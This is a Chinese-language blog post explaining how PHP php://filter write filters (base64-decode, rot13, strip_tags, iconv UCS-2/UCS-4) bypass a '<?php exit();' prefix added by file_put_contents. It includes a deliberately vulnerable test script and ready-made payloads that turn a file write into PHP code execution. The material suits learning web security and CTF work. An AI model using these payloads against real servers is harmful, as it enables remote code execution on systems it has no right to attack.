首页 > 编程语言 >伪协议绕过死亡代码<?php exit();(file_put_contents)

伪协议绕过死亡代码<?php exit();(file_put_contents)

时间:2022-11-01 23:44:27浏览次数:81  
标签:iconv UCS convert content exit file put resource php

测试代码如下:

<?php
    error_reporting(0);
    $file = $_GET['file'];
    $content = $_POST['content'];
    file_put_contents($file,"<?php exit();".$content);
?>

主要思路:利用php伪协议的写过滤器,对即将要写的内容(content)进行处理后,会将<?php exit();处理成php无法解析的内容,而我们的content则会被处理成正常的payload。

以下使用到的所有协议解释在我另一篇文章。

(1)利用base64的编码解码绕过(Conversion Filters)

?file=php://filter/write=convert.base64-decode/resource=m.php
content=aPD9waHAgcGhwaW5mbygpOw==

对我们的content解释一下,PD9waHAgcGhwaW5mbygpOw== <----> <?php phpinfo();这部分很好理解,至于前面加了一个字符a,是因为base64解码时4个字符转3个字符,而<?php exit();只有phpexit参与了base64的解码,所以需要补一位。

(补充:Base64,顾名思义,就是包括小写字母a-z、大写字母A-Z、数字0-9、符号"+"、"/"一共64个字符的字符集,最后看情况补"="使得总体字节数为4的倍数。

(2)利用rot13编码来绕过(String Filters)

?file=php://filter/write=string.rot13/resource=m.php
content=<?cuc cucvasb();?>

(3)组合(String Filters+Conversion Filters)

?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=m.php
content=?>PD9waHAgcGhwaW5mbygpOw==

(4)(Conversion Filters:convert.iconv.*:

利用:

php://filter/convert.iconv.UCS-2BE.UCS-2LE/resource=m.php
or
php://filter/convert.iconv.UCS-4BE.UCS-4LE/resource=m.php

解释:

通过UCS-2或者UCS-4的方式,对目标字符串进行2/4位一反转,也就是说构造的content字节数需要是UCS-2或UCS-4中2或者4的倍数,不然不能进行反转,那我们就可以利用这种过滤器进行编码转换绕过了。我们利用如下方法构造我们需要的payload。(注意倍数问题,否则输出错误。)

echo iconv('UCS-2LE','UCS-2BE','<?php phpinfo();?>');    //?<hp phpipfn(o;)>?

echo iconv('UCS-4LE','UCS-4BE','<?php phpinfo();');    //hp?<hp pfnip;)(o

然后构造我们的content内容使得<?php exit();在经过该过滤器后被乱码无法正常解析从而绕过死亡退出同时保证我们的payload在经过过滤器以后被正常解析。

content=a?<hp phpipfn(o;)>?
or
content=aaahp?<hp pfnip;)(o

 

 

参考文章:https://cyc1e183.github.io/2020/04/03/%E5%85%B3%E4%BA%8Efile_put_contents%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E6%B5%8B%E8%AF%95/ 

 

标签:iconv,UCS,convert,content,exit,file,put,resource,php
From: https://www.cnblogs.com/meng-han/p/16849600.html

相关文章

  • QAudioOutput函数说明
    提供接口,送PCM到输出设备;  接口: 1构造析构:QAudioOutput/~QAudioOutput()2获取设备缓冲大小,就是在不会被覆盖的情况下,你可以向QIODevice一次性送多少字节int ......
  • Linux fixfiles 命令
    Linux命令是对Linux系统进行管理的命令。对于Linux系统来说,无论是中央处理器、内存、磁盘驱动器、键盘、鼠标,还是用户等都是文件,Linux系统管理的命令是它正常运行的核心,与......
  • ObjectInput
    ObjectInput /**Copyright(c)1996,2010,Oracleand/oritsaffiliates.Allrightsreserved.*ORACLEPROPRIETARY/CONFIDENTIAL.Useissubjecttolicens......
  • computed,watch,watchEffect
    computedimport{computed,ref}from"vue";constfirstName=ref("");constlastName=ref("");constname=computed(()=>firstName.value+lastName.val......
  • Dockerfile(chrono《kubernetes入门实战课》笔记整理)
    【容器分层】每个镜像都是基于一些已有的系统,资源等组合起来的,假设N个镜像都是基于centos7.0系统,如果是直接打包做镜像,就会需要打包N份centos7系统,这对磁盘存储和网络传输......
  • Django FileResponse下载文件
    djangoFileResponse下载文件代码如下:fromdjango.httpimportFileResponsedefget(self,request,*args,**kwargs):file_path=/Users/zonghan/Deskto......
  • 任意的形如 z = F(x,y)的曲面生成与显示---基于OpenGL Core Profile
    运行结果: (圆锥面)(抛物面)(马鞍面)其中的做法是:从顶部看上去就是一个平面网格、每个点的z、x的位置都是程序细分出来的(指定起始、结束、步长)、比较固定、但高度y的计......
  • Complicated Computations
    传送门很自然地,枚举\(i\),若是存在某个子列,\([1,i-1]\)都存在,且\(i\)不存在,那么\(i\)就不可能是答案。又因为子列越长越好,那么肯定是以\(a[j]=a[k]=i\)时\((j,k)......
  • Logstash 入门实战(3)--input plugin 介绍
    本文主要概述Logstash的一些最受欢迎的输入插件,以大致了解Logstash的用途;相关的环境及软件信息如下:CentOS 7.9、Logstash8.2.2。1、什么是Logstashinput插件Logsta......
  • js、jquery获取不到input输入值
    http://www.mizuiren.com/blog/349.html这篇文章中是说赋值不行,取值可以的原因和处理方法,我遇到的情况不一样,但还是想分享一下这个问题花了将近一天时间怎么回事???最后原因......